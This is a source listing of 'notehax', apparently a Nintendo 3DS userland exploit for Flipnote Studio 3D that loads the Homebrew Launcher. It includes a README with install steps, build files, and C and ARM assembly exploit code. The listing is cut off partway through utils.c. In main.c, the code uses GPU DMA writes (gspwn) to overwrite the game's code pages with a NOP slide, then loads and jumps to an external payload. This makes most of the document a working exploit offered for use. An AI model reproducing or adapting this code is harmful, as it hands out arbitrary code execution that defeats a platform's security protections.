├── Makefile
├── README.md
├── code
├── Makefile
├── ccd00.ld
├── ccd00.specs
├── makeConstantsHeader.py
└── source
│ ├── crt0.S
│ ├── filesystem.c
│ ├── filesystem.h
│ ├── imports.h
│ ├── main.c
│ ├── math.S
│ ├── utils.c
│ └── utils.h
├── docs
├── _config.yml
└── index.md
├── note
├── KFH.py
├── KSN.py
├── Makefile
└── note.py
├── pyrop
├── base_modules.py
├── builder_base.py
└── pyrop.py
├── res
└── preview.jpg
├── rop
├── Makefile
├── constants.py
├── macros.py
└── rop.py
├── ropdb
├── EUR.py
├── JPN.py
└── USA.py
└── utils
├── portRopDb.py
└── signKWZ.py
/Makefile:
--------------------------------------------------------------------------------
1 | export PYROP:="$(CURDIR)/pyrop"
2 |
3 | all: ropdb/DB.py code/build note/build notehax
4 |
5 | ropdb/DB.py:
6 | @cp ropdb/$(REGION).py ropdb/DB.py
7 |
8 | code/build:
9 | @cd code && make
10 |
11 | note/build: rop/build
12 | @cd note && make
13 |
14 | notehax: note/build
15 | @cp note/build/note.bin utils/note.bin
16 | @cd utils && python3 signKWZ.py note.bin
17 | @mv utils/note.bin notehaxnotehaxnotehaxnotehax.kwz
18 |
19 | rop/build:
20 | @cd rop && make
21 |
22 | clean:
23 | @rm ropdb/DB.py
24 | @cd rop && make clean
25 | @cd code && make clean
26 | @cd note && make clean
27 | @rm notehaxnotehaxnotehaxnotehax.kwz
28 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | #
Notehax
2 | Notehax is a 3ds userland exploit for Flipnote Studio 3D, allowing one to launch
3 | [the Homebrew Launcher](http://smealum.github.io/3ds/) through the game.
4 |
5 | ## Requirements
6 | You'll need :
7 | * a 3ds on firmware <= 11.5
8 | * a digital copy of [Flipnote Studio 3D](https://my.nintendo.com/rewards/0391c34c430369c0) on ver 1.3.1 (JPN) and ver 1.0.0 for EUR/USA (not the latest)
9 |
10 | ## Installation
11 | 1. Get the [notehax archive](https://github.com/mrnbayoh/notehax/releases/) according to your region.
12 | 2. Extract it to the root of your SD card (the /private folder must be at the root) /!\ If you delete the previous /private folder all your notes saved on the SD card will be lost /!\
13 | 3. Download the [otherapp payload](http://smealum.github.io/3ds/) corresponding to your region/console/firmware etc.
14 | 4. Copy the otherapp payload to the /notehax folder and rename it "otherapp.bin".
15 | 5. Download the and copy to your SD card the [homebrew starter kit](http://smealum.github.io/3ds/).
16 | 6. If you're running the EUR version, switch your 3ds language to French.
17 |
18 | ## How to use notehax
19 | To access [the Homebrew Launcher](http://smealum.github.io/3ds/) just try to open the custom note that should've appeared in the SD folder:
20 | 
21 |
22 | ## Donate
23 | Every amount is appreciated and will be used for hacking purposes of course :)
24 | [](https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&hosted_button_id=KFEV25LC9KTX4)
25 |
26 | ## Thanks
27 | * [smealum](https://github.com/smealum) and everyone else who have contributed to the HBL/hax payload
28 | * ChampionLeake789 : tester
29 |
--------------------------------------------------------------------------------
/code/Makefile:
--------------------------------------------------------------------------------
1 | ifeq ($(strip $(DEVKITARM)),)
2 | $(error "Please set DEVKITARM in your environment. export DEVKITARM=devkitARM")
3 | endif
4 |
5 |
6 | ifeq ($(filter $(DEVKITARM)/bin,$(PATH)),)
7 | export PATH:=$(DEVKITARM)/bin:$(PATH)
8 | endif
9 |
10 | include $(DEVKITARM)/3ds_rules
11 |
12 | CC = arm-none-eabi-gcc
13 | # LINK = arm-none-eabi-gcc
14 | LINK = arm-none-eabi-ld
15 | AS = arm-none-eabi-as
16 | OBJCOPY = arm-none-eabi-objcopy
17 | CFLAGS += -Wall -std=c99 -march=armv6 -Os -I"$(CTRULIB)/include" -I$(DEVKITPRO)/libnds/include
18 | LDFLAGS += --script=ccd00.ld -L"$(CTRULIB)/lib"
19 |
20 | CFILES = $(wildcard source/*.c)
21 | BINFILES = $(wildcard data/*.bin)
22 | OFILES = $(BINFILES:data/%.bin=build/%.bin.o)
23 | OFILES += $(CFILES:source/%.c=build/%.o)
24 | DFILES = $(CFILES:source/%.c=build/%.d)
25 | SFILES = $(wildcard source/*.S)
26 | OFILES += $(SFILES:source/%.S=build/%.o)
27 | PROJECTNAME = ${shell basename "$(CURDIR)"}
28 | CWD = "$(CURDIR)""
29 |
30 | #---------------------------------------------------------------------------------
31 | # canned command sequence for binary data, taken from devkitARM
32 | #---------------------------------------------------------------------------------
33 | define bin2o
34 | bin2s $< | $(AS) -o $(@)
35 | echo "extern const u8" `(echo $( source/`(echo $(> source/`(echo $(> source/`(echo $( build/$*.d
68 |
69 | build/%.o: source/%.S
70 | $(CC) $(CFLAGS) -c $< -o $@
71 | @$(CC) -MM $< > build/$*.d
72 |
73 | build/%.bin.o: data/%.bin
74 | @echo $(notdir $<)
75 | @$(bin2o)
76 |
--------------------------------------------------------------------------------
/code/ccd00.ld:
--------------------------------------------------------------------------------
1 | OUTPUT_ARCH(arm)
2 |
3 | MEMORY
4 | {
5 | RAMRX (rx) : ORIGIN = 0x00301000, LENGTH = 0x00002000
6 | RAMRW (rw!i) : ORIGIN = 0x08000000, LENGTH = 0x00100000
7 | }
8 |
9 | SECTIONS
10 | {
11 | .text : ALIGN(0x100) {
12 | build/crt0.o(.init)
13 | *(.text)
14 | *(.rodata)
15 | _got_start = .;
16 | *(.got)
17 | *(.got.plt)
18 | *(.data.rel.ro.local)
19 | _got_end = .;
20 | }
21 |
22 | .bss : {
23 | _bss_start = .;
24 | *(.bss);
25 | }
26 | _bss_end = .;
27 | }
28 |
--------------------------------------------------------------------------------
/code/ccd00.specs:
--------------------------------------------------------------------------------
1 | %rename link old_link
2 |
3 | *link:
4 | %(old_link) -T ./ccd00.ld%s
--------------------------------------------------------------------------------
/code/makeConstantsHeader.py:
--------------------------------------------------------------------------------
1 | import sys
2 | import runpy
3 |
4 | cmdargs = sys.argv
5 |
6 | output_file = open(cmdargs[2], 'w')
7 |
8 | result = runpy.run_path(cmdargs[1])
9 | diff = set(result.keys()) - set(globals().keys())
10 |
11 | for gadget in diff:
12 | output_file.write("#define " + gadget + " " + hex(result[gadget]) + "\n")
13 |
--------------------------------------------------------------------------------
/code/source/crt0.S:
--------------------------------------------------------------------------------
1 | .section ".init"
2 | .arm
3 | .align 0x4
4 | .global _start
5 |
6 | _start:
7 | mov sp, #0x10000000
8 | blx _main
9 |
--------------------------------------------------------------------------------
/code/source/filesystem.c:
--------------------------------------------------------------------------------
1 | #include "filesystem.h"
2 |
3 | Result _FSUSER_OpenFileDirectly(Handle* handle, Handle* out, FS_archive archive, FS_Path fileLowPath, u32 openflags, u32 attributes)
4 | {
5 | u32* cmdbuf=getThreadCommandBuffer();
6 |
7 | cmdbuf[0]=0x08030204;
8 | cmdbuf[1]=0;
9 | cmdbuf[2]=archive.id;
10 | cmdbuf[3]=archive.lowPath.type;
11 | cmdbuf[4]=archive.lowPath.size;
12 | cmdbuf[5]=fileLowPath.type;
13 | cmdbuf[6]=fileLowPath.size;
14 | cmdbuf[7]=openflags;
15 | cmdbuf[8]=attributes;
16 | cmdbuf[9]=(archive.lowPath.size<<14)|0x802;
17 | cmdbuf[10]=(u32)archive.lowPath.data;
18 | cmdbuf[11]=(fileLowPath.size<<14)|2;
19 | cmdbuf[12]=(u32)fileLowPath.data;
20 |
21 | Result ret=0;
22 | if((ret=svcSendSyncRequest(*handle)))return ret;
23 |
24 | if(out)*out=cmdbuf[3];
25 |
26 | return cmdbuf[1];
27 | }
28 |
29 | Result _FSFILE_Close(Handle handle)
30 | {
31 | u32* cmdbuf=getThreadCommandBuffer();
32 |
33 | cmdbuf[0]=0x08080000;
34 |
35 | Result ret=0;
36 | if((ret=svcSendSyncRequest(handle)))return ret;
37 |
38 | return cmdbuf[1];
39 | }
40 |
41 | Result _FSFILE_Read(Handle handle, u32 *bytesRead, u64 offset, u32 *buffer, u32 size)
42 | {
43 | u32 *cmdbuf=getThreadCommandBuffer();
44 |
45 | cmdbuf[0]=0x080200C2;
46 | cmdbuf[1]=(u32)offset;
47 | cmdbuf[2]=(u32)(offset>>32);
48 | cmdbuf[3]=size;
49 | cmdbuf[4]=(size<<4)|12;
50 | cmdbuf[5]=(u32)buffer;
51 |
52 | Result ret=0;
53 | if((ret=svcSendSyncRequest(handle)))return ret;
54 |
55 | if(bytesRead)*bytesRead=cmdbuf[2];
56 |
57 | return cmdbuf[1];
58 | }
59 |
60 | Result _FSFILE_GetSize(Handle handle, u64 *size)
61 | {
62 | u32 *cmdbuf=getThreadCommandBuffer();
63 |
64 | cmdbuf[0] = 0x08040000;
65 |
66 | Result ret=0;
67 | if((ret=svcSendSyncRequest(handle)))return ret;
68 |
69 | if(size)*size = *((u64*)&cmdbuf[2]);
70 |
71 | return cmdbuf[1];
72 | }
73 |
--------------------------------------------------------------------------------
/code/source/filesystem.h:
--------------------------------------------------------------------------------
1 | #ifndef FS_H
2 | #define FS_H
3 |
4 | #include <3ds.h>
5 |
6 | typedef struct
7 | {
8 | u32 id; ///< Archive ID.
9 | FS_Path lowPath; ///< FS path.
10 | u64 handle; ///< Handle.
11 | } FS_archive;
12 |
13 | Result _FSUSER_OpenFileDirectly(Handle* handle, Handle* out, FS_archive archive, FS_Path fileLowPath, u32 openflags, u32 attributes);
14 | Result _FSFILE_Close(Handle handle);
15 | Result _FSFILE_Read(Handle handle, u32 *bytesRead, u64 offset, u32 *buffer, u32 size);
16 | Result _FSFILE_GetSize(Handle handle, u64 *size);
17 |
18 | #endif
19 |
--------------------------------------------------------------------------------
/code/source/imports.h:
--------------------------------------------------------------------------------
1 | #ifndef IMPORTS_H
2 | #define IMPORTS_H
3 |
4 | #include <3ds.h>
5 | #include "../constants.h"
6 |
7 | #define LINEAR_BUFFER 0x14000000
8 | #define APPMEMTYPE_PTR 0x1FF80030
9 | #define MAX_CODEBIN_SIZE 0x2D1000
10 |
11 | static Handle* const fsHandle = (Handle*)FSUSER_HANDLE;
12 | static Handle* const dspHandle = (Handle*)DSP_HANDLE;
13 | static Handle* const gspHandle = (Handle*)GSPGPU_HANDLE;
14 |
15 | static u32** const sharedGspCmdBuf = (u32**)(GSPGPU_INTERRUPT_RECEIVER_STRUCT + 0x58);
16 |
17 | static Result (* const _GSPGPU_FlushDataCache)(Handle* handle, Handle kProcess, u32* addr, u32 size) = (void*)GSPGPU_FLUSHDATACACHE;
18 | static Result (* const _GSPGPU_GxTryEnqueue)(u32** sharedGspCmdBuf, u32* cmdAddr) = (void*)GSPGPU_GXTRYENQUEUE;
19 | static Result (* const _DSP_UnloadComponent)(Handle* handle) = (void*)DSP_UNLOADCOMPONENT;
20 | static Result (* const _DSP_RegisterInterruptEvents)(Handle* handle, Handle event, u32 type, u32 port) = (void*)DSP_REGISTERINTERRUPTEVENTS;
21 |
22 | #endif
23 |
--------------------------------------------------------------------------------
/code/source/main.c:
--------------------------------------------------------------------------------
1 | #include "imports.h"
2 |
3 | #include <3ds.h>
4 | #include "utils.h"
5 | #include "filesystem.h"
6 |
7 | #define LOOP_DEST (u8*)(LINEAR_BUFFER+0x200000)
8 | #define OTHERAPP_DEST (u8*)(LINEAR_BUFFER+0x900000)
9 |
10 | void build_nop_slide(u32 *dst, int size)
11 | {
12 | for (int i = 0; i < size; i++)
13 | {
14 | dst[i] = 0xE1A00000;
15 | }
16 | dst[size-1] = 0xE12FFF1E;
17 | }
18 |
19 | void _main()
20 | {
21 | Result ret = 0;
22 |
23 | _DSP_UnloadComponent(dspHandle);
24 | _DSP_RegisterInterruptEvents(dspHandle, 0x0, 0x2, 0x2);
25 |
26 | Handle file = 0;
27 | FS_archive sdmc = (FS_archive){ARCHIVE_SDMC, (FS_Path){PATH_EMPTY, 1, (u8*)""}};
28 | ret = _FSUSER_OpenFileDirectly(fsHandle, &file, sdmc,_fsMakePath(PATH_ASCII, "/notehax/otherapp.bin"), FS_OPEN_READ, 0);
29 |
30 | u32 linear_base = 0x30000000 + (*(u8*)APPMEMTYPE_PTR == 0x6 ? 0x07c00000 : 0x04000000) - MAX_CODEBIN_SIZE;
31 |
32 | build_nop_slide((u32*)(OTHERAPP_DEST), 0x1000);
33 | int k = 0;
34 | int slide_pages = 0;
35 | u32 nop_slide_VA = 0x343000;
36 | while(slide_pages < 4)
37 | {
38 | _GSPGPU_FlushDataCache(gspHandle, 0xFFFF8001, (u32*)LOOP_DEST, 0x1000);
39 | gspwn((void*)LOOP_DEST, (void*)(linear_base + k*0x1000), 0x1000);
40 | svcSleepThread(0x100000);
41 | for(int j = 0; j < 4; j++)
42 | if(!memcmp((void*)LOOP_DEST, (void*)(nop_slide_VA+j*0x1000), 0x20))
43 | {
44 | gspwn((void*)(linear_base + k*0x1000), (void*)(OTHERAPP_DEST+j*0x1000), 0x1000);
45 | svcSleepThread(0x100000);
46 | slide_pages++;
47 | }
48 | k++;
49 | }
50 | ((void (*)())nop_slide_VA)();
51 |
52 | if(!ret)
53 | {
54 | u64 otherapp_size = 0;
55 | _FSFILE_GetSize(file, &otherapp_size);
56 |
57 | u32 bytes_read = 0;
58 | _FSFILE_Read(file, &bytes_read, 0, (u32*)(OTHERAPP_DEST), otherapp_size);
59 |
60 | _FSFILE_Close(file);
61 |
62 | otherapp_size = (otherapp_size + 0xFFF) & ~0xFFF;
63 |
64 | u32 otherapp_pages_count = otherapp_size >> 12;
65 | //u32 otherapp_pages[otherapp_pages_count];
66 | //memset(otherapp_pages, 0x0, sizeof(u32)*otherapp_pages_count);
67 |
68 | for(unsigned int i = 0, pages = 0; i < MAX_CODEBIN_SIZE && (pages < otherapp_pages_count); i+=0x1000)
69 | {
70 | _GSPGPU_FlushDataCache(gspHandle, 0xFFFF8001, (u32*)LOOP_DEST, 0x1000);
71 | gspwn((void*)LOOP_DEST, (void*)(linear_base + i), 0x1000);
72 | svcSleepThread(0x100000);
73 |
74 | for(u8 j = 0; j < otherapp_pages_count; j++)
75 | {
76 | if(!memcmp((void*)LOOP_DEST, (void*)(0x101000 + j*0x1000), 0x20))
77 | {
78 | //otherapp_pages[j] = i;
79 | gspwn((void*)(linear_base + i), (void*)(OTHERAPP_DEST+j*0x1000), 0x1000);
80 | svcSleepThread(0x100000);
81 | pages++;
82 | }
83 | }
84 | }
85 |
86 | /* _GSPGPU_FlushDataCache(gspHandle, 0xFFFF8001, (u32*)(OTHERAPP_DEST), otherapp_size);
87 | for(int i = 0; i < otherapp_pages_count; i++)
88 | {
89 | gspwn((void*)(linear_base + i), (void*)(OTHERAPP_DEST+j*0x1000), 0x1000);
90 | svcSleepThread(0x100000);
91 |
92 | }*/
93 | }
94 |
95 | // ghetto dcache invalidation
96 | // don't judge me
97 | int i, j;
98 | // for(k=0; k<0x2; k++)
99 | for(j=0; j<0x4; j++)
100 | for(i=0; i<0x01000000/0x4; i+=0x4)
101 | ((u8*)(LINEAR_BUFFER))[i+j]^=0xDEADBABE;
102 |
103 |
104 | u8* top_framebuffer = (u8*)(LINEAR_BUFFER+0x00100000);
105 | u8* low_framebuffer = &top_framebuffer[0x00046500];
106 | _GSPGPU_SetBufferSwap(*gspHandle, 0, (GSPGPU_FramebufferInfo){0, (u32*)top_framebuffer, (u32*)top_framebuffer, 240 * 3, (1<<8)|(1<<6)|1, 0, 0});
107 | _GSPGPU_SetBufferSwap(*gspHandle, 1, (GSPGPU_FramebufferInfo){0, (u32*)low_framebuffer, (u32*)low_framebuffer, 240 * 3, 1, 0, 0});
108 | // while(1)
109 | // svcSleepThread(0xFFFFFFFF);
110 | // run payload
111 | {
112 | void (*payload)(u32* paramlk, u32* stack_pointer) = (void*)0x00101000;
113 | u32* paramblk = (u32*)LINEAR_BUFFER;
114 |
115 | paramblk[0x1c >> 2] = GSPGPU_GXCMD4;
116 | paramblk[0x20 >> 2] = GSPGPU_FLUSHDATACACHE_WRAPPER;
117 | paramblk[0x48 >> 2] = 0x8d; // flags
118 | paramblk[0x58 >> 2] = GSPGPU_HANDLE;
119 | paramblk[0x64 >> 2] = 0x08010000;
120 |
121 | payload(paramblk, (u32*)(0x10000000 - 4));
122 | }
123 |
124 | *(u32*)ret = 0xdead0008;
125 | }
126 |
--------------------------------------------------------------------------------
/code/source/math.S:
--------------------------------------------------------------------------------
1 | #ifdef __ARMEB__
2 | #define xh r0
3 | #define xl r1
4 | #define yh r2
5 | #define yl r3
6 | #else
7 | #define xl r0
8 | #define xh r1
9 | #define yl r2
10 | #define yh r3
11 | #endif
12 |
13 | .global __muldi3
14 | __muldi3:
15 |
16 | .global __aeabi_lmul
17 | __aeabi_lmul:
18 |
19 | mul xh, yl, xh
20 | mla xh, xl, yh, xh
21 | mov ip, xl, lsr #16
22 | mov yh, yl, lsr #16
23 | bic xl, xl, ip, lsl #16
24 | bic yl, yl, yh, lsl #16
25 | mla xh, yh, ip, xh
26 | mul yh, xl, yh
27 | mul xl, yl, xl
28 | mul ip, yl, ip
29 | adds xl, xl, yh, lsl #16
30 | adc xh, xh, yh, lsr #16
31 | adds xl, xl, ip, lsl #16
32 | adc xh, xh, ip, lsr #16
33 | mov pc, lr
34 |
35 |
36 | dividend .req r0
37 | divisor .req r1
38 | result .req r2
39 | curbit .req r3
40 | .globl __udivsi3
41 | .type __udivsi3 ,function
42 | .globl __aeabi_uidiv
43 | .type __aeabi_uidiv ,function
44 | .align 0
45 | __udivsi3:
46 | __aeabi_uidiv:
47 | cmp divisor, #0
48 | beq Ldiv0_uidiv
49 | mov curbit, #1
50 | mov result, #0
51 | cmp dividend, divisor
52 | bcc Lgot_result
53 | Loop1:
54 | @ Unless the divisor is very big, shift it up in multiples of
55 | @ four bits, since this is the amount of unwinding in the main
56 | @ division loop. Continue shifting until the divisor is
57 | @ larger than the dividend.
58 | cmp divisor, #0x10000000
59 | cmpcc divisor, dividend
60 | movcc divisor, divisor, lsl #4
61 | movcc curbit, curbit, lsl #4
62 | bcc Loop1
63 | Lbignum:
64 | @ For very big divisors, we must shift it a bit at a time, or
65 | @ we will be in danger of overflowing.
66 | cmp divisor, #0x80000000
67 | cmpcc divisor, dividend
68 | movcc divisor, divisor, lsl #1
69 | movcc curbit, curbit, lsl #1
70 | bcc Lbignum
71 | Loop3:
72 | @ Test for possible subtractions, and note which bits
73 | @ are done in the result. On the final pass, this may subtract
74 | @ too much from the dividend, but the result will be ok, since the
75 | @ "bit" will have been shifted out at the bottom.
76 | cmp dividend, divisor
77 | subcs dividend, dividend, divisor
78 | orrcs result, result, curbit
79 | cmp dividend, divisor, lsr #1
80 | subcs dividend, dividend, divisor, lsr #1
81 | orrcs result, result, curbit, lsr #1
82 | cmp dividend, divisor, lsr #2
83 | subcs dividend, dividend, divisor, lsr #2
84 | orrcs result, result, curbit, lsr #2
85 | cmp dividend, divisor, lsr #3
86 | subcs dividend, dividend, divisor, lsr #3
87 | orrcs result, result, curbit, lsr #3
88 | cmp dividend, #0 @ Early termination?
89 | movnes curbit, curbit, lsr #4 @ No, any more bits to do?
90 | movne divisor, divisor, lsr #4
91 | bne Loop3
92 | Lgot_result:
93 | mov r0, result
94 | mov pc, lr
95 | Ldiv0_uidiv:
96 | str lr, [sp, #-4]!
97 | #bl __div0 (PLT)
98 | mov r0, #0 @ about as wrong as it could be
99 | ldmia sp!, {pc}
100 | .size __udivsi3 , . - __udivsi3
101 |
102 | .globl __aeabi_uidivmod
103 | __aeabi_uidivmod:
104 |
105 | stmfd sp!, {r0, r1, ip, lr}
106 | bl __aeabi_uidiv
107 | ldmfd sp!, {r1, r2, ip, lr}
108 | mul r3, r0, r2
109 | sub r1, r1, r3
110 | mov pc, lr
111 |
112 | .globl __aeabi_idivmod
113 | __aeabi_idivmod:
114 |
115 | stmfd sp!, {r0, r1, ip, lr}
116 | bl __aeabi_idiv
117 | ldmfd sp!, {r1, r2, ip, lr}
118 | mul r3, r0, r2
119 | sub r1, r1, r3
120 | mov pc, lr
121 |
122 | .macro ARM_DIV_BODY dividend, divisor, result, curbit
123 |
124 | #if __LINUX_ARM_ARCH__ >= 5
125 |
126 | clz \curbit, \divisor
127 | clz \result, \dividend
128 | sub \result, \curbit, \result
129 | mov \curbit, #1
130 | mov \divisor, \divisor, lsl \result
131 | mov \curbit, \curbit, lsl \result
132 | mov \result, #0
133 |
134 | #else
135 |
136 | @ Initially shift the divisor left 3 bits if possible,
137 | @ set curbit accordingly. This allows for curbit to be located
138 | @ at the left end of each 4 bit nibbles in the division loop
139 | @ to save one loop in most cases.
140 | tst \divisor, #0xe0000000
141 | moveq \divisor, \divisor, lsl #3
142 | moveq \curbit, #8
143 | movne \curbit, #1
144 |
145 | @ Unless the divisor is very big, shift it up in multiples of
146 | @ four bits, since this is the amount of unwinding in the main
147 | @ division loop. Continue shifting until the divisor is
148 | @ larger than the dividend.
149 | 1: cmp \divisor, #0x10000000
150 | cmplo \divisor, \dividend
151 | movlo \divisor, \divisor, lsl #4
152 | movlo \curbit, \curbit, lsl #4
153 | blo 1b
154 |
155 | @ For very big divisors, we must shift it a bit at a time, or
156 | @ we will be in danger of overflowing.
157 | 1: cmp \divisor, #0x80000000
158 | cmplo \divisor, \dividend
159 | movlo \divisor, \divisor, lsl #1
160 | movlo \curbit, \curbit, lsl #1
161 | blo 1b
162 |
163 | mov \result, #0
164 |
165 | #endif
166 |
167 | @ Division loop
168 | 1: cmp \dividend, \divisor
169 | subhs \dividend, \dividend, \divisor
170 | orrhs \result, \result, \curbit
171 | cmp \dividend, \divisor, lsr #1
172 | subhs \dividend, \dividend, \divisor, lsr #1
173 | orrhs \result, \result, \curbit, lsr #1
174 | cmp \dividend, \divisor, lsr #2
175 | subhs \dividend, \dividend, \divisor, lsr #2
176 | orrhs \result, \result, \curbit, lsr #2
177 | cmp \dividend, \divisor, lsr #3
178 | subhs \dividend, \dividend, \divisor, lsr #3
179 | orrhs \result, \result, \curbit, lsr #3
180 | cmp \dividend, #0 @ Early termination?
181 | movnes \curbit, \curbit, lsr #4 @ No, any more bits to do?
182 | movne \divisor, \divisor, lsr #4
183 | bne 1b
184 |
185 | .endm
186 |
187 | .macro ARM_DIV2_ORDER divisor, order
188 |
189 | #if __LINUX_ARM_ARCH__ >= 5
190 |
191 | clz \order, \divisor
192 | rsb \order, \order, #31
193 |
194 | #else
195 |
196 | cmp \divisor, #(1 << 16)
197 | movhs \divisor, \divisor, lsr #16
198 | movhs \order, #16
199 | movlo \order, #0
200 |
201 | cmp \divisor, #(1 << 8)
202 | movhs \divisor, \divisor, lsr #8
203 | addhs \order, \order, #8
204 |
205 | cmp \divisor, #(1 << 4)
206 | movhs \divisor, \divisor, lsr #4
207 | addhs \order, \order, #4
208 |
209 | cmp \divisor, #(1 << 2)
210 | addhi \order, \order, #3
211 | addls \order, \order, \divisor, lsr #1
212 |
213 | #endif
214 |
215 | .endm
216 |
217 | .align 5
218 | .globl __divsi3
219 | .globl __aeabi_idiv
220 | __divsi3:
221 | __aeabi_idiv:
222 | cmp r1, #0
223 | eor ip, r0, r1 @ save the sign of the result.
224 | beq Ldiv0
225 | rsbmi r1, r1, #0 @ loops below use unsigned.
226 | subs r2, r1, #1 @ division by 1 or -1 ?
227 | beq 10f
228 | movs r3, r0
229 | rsbmi r3, r0, #0 @ positive dividend value
230 | cmp r3, r1
231 | bls 11f
232 | tst r1, r2 @ divisor is power of 2 ?
233 | beq 12f
234 |
235 | ARM_DIV_BODY r3, r1, r0, r2
236 |
237 | cmp ip, #0
238 | rsbmi r0, r0, #0
239 | mov pc, lr
240 |
241 | 10: teq ip, r0 @ same sign ?
242 | rsbmi r0, r0, #0
243 | mov pc, lr
244 |
245 | 11: movlo r0, #0
246 | moveq r0, ip, asr #31
247 | orreq r0, r0, #1
248 | mov pc, lr
249 |
250 | 12: ARM_DIV2_ORDER r1, r2
251 |
252 | cmp ip, #0
253 | mov r0, r3, lsr r2
254 | rsbmi r0, r0, #0
255 | mov pc, lr
256 |
257 | Ldiv0:
258 |
259 | str lr, [sp, #-4]!
260 | #bl __div0
261 | mov r0, #0 @ About as wrong as it could be.
262 | ldr pc, [sp], #4
263 |
264 |
265 | .global __aeabi_uldivmod
266 | .type __aeabi_uldivmod, function
267 | .align 0
268 | A_0 .req r0
269 | A_1 .req r1
270 | B_0 .req r2
271 | B_1 .req r3
272 | C_0 .req r4
273 | C_1 .req r5
274 | D_0 .req r6
275 | D_1 .req r7
276 | Q_0 .req r0
277 | Q_1 .req r1
278 | R_0 .req r2
279 | R_1 .req r3
280 | __aeabi_uldivmod:
281 | stmfd sp!, {r4, r5, r6, r7, lr}
282 | @ Test if B == 0
283 | orrs ip, B_0, B_1 @ Z set -> B == 0
284 | beq L_div_by_0
285 | @ Test if B is power of 2: (B & (B - 1)) == 0
286 | subs C_0, B_0, #1
287 | sbc C_1, B_1, #0
288 | tst C_0, B_0
289 | tsteq B_1, C_1
290 | beq L_pow2
291 | @ Test if A_1 == B_1 == 0
292 | orrs ip, A_1, B_1
293 | beq L_div_32_32
294 | L_div_64_64:
295 | mov C_0, #1
296 | mov C_1, #0
297 | @ D_0 = clz A
298 | teq A_1, #0
299 | clz D_0, A_1
300 | clzeq ip, A_0
301 | addeq D_0, D_0, ip
302 | @ D_1 = clz B
303 | teq B_1, #0
304 | clz D_1, B_1
305 | clzeq ip, B_0
306 | addeq D_1, D_1, ip
307 | @ if clz B - clz A > 0
308 | subs D_0, D_1, D_0
309 | bls L_done_shift
310 | @ B <<= (clz B - clz A)
311 | subs D_1, D_0, #32
312 | rsb ip, D_0, #32
313 | movmi B_1, B_1, lsl D_0
314 | orrmi B_1, B_1, B_0, lsr ip
315 | movpl B_1, B_0, lsl D_1
316 | mov B_0, B_0, lsl D_0
317 | @ C = 1 << (clz B - clz A)
318 | movmi C_1, C_1, lsl D_0
319 | orrmi C_1, C_1, C_0, lsr ip
320 | movpl C_1, C_0, lsl D_1
321 | mov C_0, C_0, lsl D_0
322 | L_done_shift:
323 | mov D_0, #0
324 | mov D_1, #0
325 | @ C: current bit; D: result
326 | L_subtract:
327 | @ if A >= B
328 | cmp A_1, B_1
329 | cmpeq A_0, B_0
330 | bcc L_update
331 | @ A -= B
332 | subs A_0, A_0, B_0
333 | sbc A_1, A_1, B_1
334 | @ D |= C
335 | orr D_0, D_0, C_0
336 | orr D_1, D_1, C_1
337 | L_update:
338 | @ if A == 0: break
339 | orrs ip, A_1, A_0
340 | beq L_exit
341 | @ C >>= 1
342 | movs C_1, C_1, lsr #1
343 | movs C_0, C_0, rrx
344 | @ if C == 0: break
345 | orrs ip, C_1, C_0
346 | beq L_exit
347 | @ B >>= 1
348 | movs B_1, B_1, lsr #1
349 | mov B_0, B_0, rrx
350 | b L_subtract
351 | L_exit:
352 | @ Note: A, B & Q, R are aliases
353 | mov R_0, A_0
354 | mov R_1, A_1
355 | mov Q_0, D_0
356 | mov Q_1, D_1
357 | ldmfd sp!, {r4, r5, r6, r7, pc}
358 | L_div_32_32:
359 | @ Note: A_0 & r0 are aliases
360 | @ Q_1 r1
361 | mov r1, B_0
362 | bl __aeabi_uidivmod
363 | mov R_0, r1
364 | mov R_1, #0
365 | mov Q_1, #0
366 | ldmfd sp!, {r4, r5, r6, r7, pc}
367 | L_pow2:
368 | @ Note: A, B and Q, R are aliases
369 | @ R = A & (B - 1)
370 | and C_0, A_0, C_0
371 | and C_1, A_1, C_1
372 | @ Q = A >> log2(B)
373 | @ Note: B must not be 0 here!
374 | clz D_0, B_0
375 | add D_1, D_0, #1
376 | rsbs D_0, D_0, #31
377 | bpl L_1
378 | clz D_0, B_1
379 | rsb D_0, D_0, #31
380 | mov A_0, A_1, lsr D_0
381 | add D_0, D_0, #32
382 | L_1:
383 | movpl A_0, A_0, lsr D_0
384 | orrpl A_0, A_0, A_1, lsl D_1
385 | mov A_1, A_1, lsr D_0
386 | @ Mov back C to R
387 | mov R_0, C_0
388 | mov R_1, C_1
389 | ldmfd sp!, {r4, r5, r6, r7, pc}
390 | L_div_by_0:
391 | #bl __div0
392 | @ As wrong as it could be
393 | mov Q_0, #0
394 | mov Q_1, #0
395 | mov R_0, #0
396 | mov R_1, #0
397 | ldmfd sp!, {r4, r5, r6, r7, pc}
398 |
399 |
--------------------------------------------------------------------------------
/code/source/utils.c:
--------------------------------------------------------------------------------
1 | #include "utils.h"
2 | #include "imports.h"
3 |
4 | void* memset(void *ptr, int value, size_t num)
5 | {
6 | u8 *p = ptr;
7 | while (num)
8 | {
9 | *p++ = value;
10 | num--;
11 | }
12 |
13 | return ptr;
14 | }
15 |
16 | void* memcpy(void *destination, const void *source, size_t num)
17 | {
18 | u8 *dest = destination;
19 | u8 *src = (u8*)source;
20 | while (num)
21 | {
22 | *dest++ = *src++;
23 | num--;
24 | }
25 |
26 | return destination;
27 | }
28 |
29 | int memcmp(void *ptr1, void *ptr2, size_t num)
30 | {
31 | for(; num--; ptr1++, ptr2++)
32 | if(*(u8*)ptr1 != *(u8*)ptr2)
33 | return *(u8*)ptr1-*(u8*)ptr2;
34 | return 0;
35 | }
36 |
37 | Result gspwn(void* dst, void* src, u32 size)
38 | {
39 | u32 gxCommand[] =
40 | {
41 | 0x00000004, //cmd header (SetTextureCopy)
42 | (u32)src,
43 | (u32)dst,
44 | size,
45 | 0xFFFFFFFF, //dim in
46 | 0xFFFFFFFF, //dim out
47 | 0x00000008, //flags
48 | 0x00000000
49 | };
50 |
51 | return _GSPGPU_GxTryEnqueue(sharedGspCmdBuf, gxCommand);
52 | }
53 |
54 | Result _GSPGPU_SetBufferSwap(Handle handle, u32 screenId, GSPGPU_FramebufferInfo framebufferInfo)
55 | {
56 | Result ret = 0;
57 | u32* cmdbuf = getThreadCommandBuffer();
58 |
59 | cmdbuf[0] = 0x0050200;
60 | cmdbuf[1] = screenId;
61 | memcpy(&cmdbuf[2], &framebufferInfo, sizeof(GSPGPU_FramebufferInfo));
62 |
